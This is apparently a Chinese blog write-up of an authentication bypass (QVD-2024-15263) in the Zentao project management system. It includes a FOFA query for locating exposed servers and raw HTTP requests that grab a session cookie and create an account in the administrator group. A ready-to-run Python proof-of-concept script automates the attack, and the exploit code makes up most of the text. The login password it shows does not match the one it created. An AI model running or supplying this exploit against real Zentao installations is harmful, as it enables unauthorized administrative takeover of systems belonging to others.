声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。
文章目录
- 漏洞描述
- 漏洞复现
- 测试工具
漏洞描述
禅道(Zentao)是一款开源的项目管理和协作软件。禅道项目管理系统中的存在QVD-2024-15263身份认证绕过漏洞。攻击者可利用该漏洞创建任意账号实现未授权登录。
漏洞复现
1)信息收集
fofa:title=“禅道”
2)本地复现
源码下载:https://dl.zentao.net/zentao/18.11/ZenTaoPMS-18.11-php7.0.tar.xz
3)先构造数据包,获取cookie
GET /zentaopms/www/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host:ip
Set-Cookie: zentaosid=c5gfr88h22f4vv73h4d0b453mv;
4)构造数据包,创建账户
POST /zentaopms/www/api.php/v1/users HTTP/1.1
Host:ip
Cookie: zentaosid=c5gfr88h22f4vv73h4d0b453mv; lang=zh-cn; device=desktop; theme=default
{"account": "longl", "password": "Qwe123", "realname": "longl", "group":"1"}
"group":"1"
为管理员分组
5)登入账号
账号:longl
密码:Qwest23
成功登入
测试工具
poc
# -*- coding: UTF-8 -*-
# !/usr/bin/python
import requests
import re
from bs4 import BeautifulSoup
def getCookie(host):
"""
通过发送请求获取Set-Cookie头部信息。
:param host: 目标主机地址
:return: 获取到的Cookie字符串
"""
# 构造请求URL,需要根据实际路径进行修改
url1 = "http://" + host + "/zentaopms/www/"
url = url1 + "/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=fkazcfyqgknhqdkbpttl&branch=qkkcluybdvfxqngbemmn"
# 设置请求头部信息
headers={
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language":"zh-CN,zh;q=0.9",
"Host":host}
# 发送GET请求并获取响应
response = requests.get(url,headers=headers)
# 从响应头部获取Set-Cookie值
SetCookie = response.headers.get('Set-Cookie')
return SetCookie
def addUser(SetCookie,host):
"""
使用给定的Cookie添加新用户。
:param SetCookie: 用于身份验证的Cookie字符串
:param host: 目标主机地址
:return: 请求的响应对象
"""
# 构造添加用户的API请求URL,需要根据实际路径进行修改
weburl = "http://" + host + "/zentaopms/www/api.php/v1/users"
# 设置请求头部信息,包括Cookie
headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language":"zh-CN,zh;q=0.9",
"Host":host,
"cookie":SetCookie}
# 设置请求超时时间
timeout = 8
# 设置待添加用户的参数
# 账号、密码、真实姓名、角色、用户组
data = {'account': '3213111',
'password': '123456Qa',
'realname': '3213111',
'role': 'top',
'group': '1'}
# 发送POST请求添加用户
res = requests.post(weburl,headers=headers,data=data,timeout=timeout)
return res
def main():
"""
主程序入口。
"""
# 目标Web地址
weburl = "192.168.2.8"
host = str(weburl)
# 获取Cookie
SetCookie = getCookie(host)
# 检查是否成功获取Cookie
if SetCookie == None:
print("获取Cookie失败,漏洞可能已被修复。\n")
else:
# 截取前43个字符,因为实际使用的Cookie可能较长,此处只取前缀
set_cookies = SetCookie[:43]
# 使用Cookie添加用户
res1 = addUser(set_cookies,host)
# 检查用户添加是否成功
if str(res1.status_code) == "400":
print("账号可能已存在,请尝试更换用户名。\n")
else:
print("账号已生成。")
if __name__ == '__main__':
main()
运行截图
冬天之所以那么冷是为了告诉大家身边人的温暖有多重要。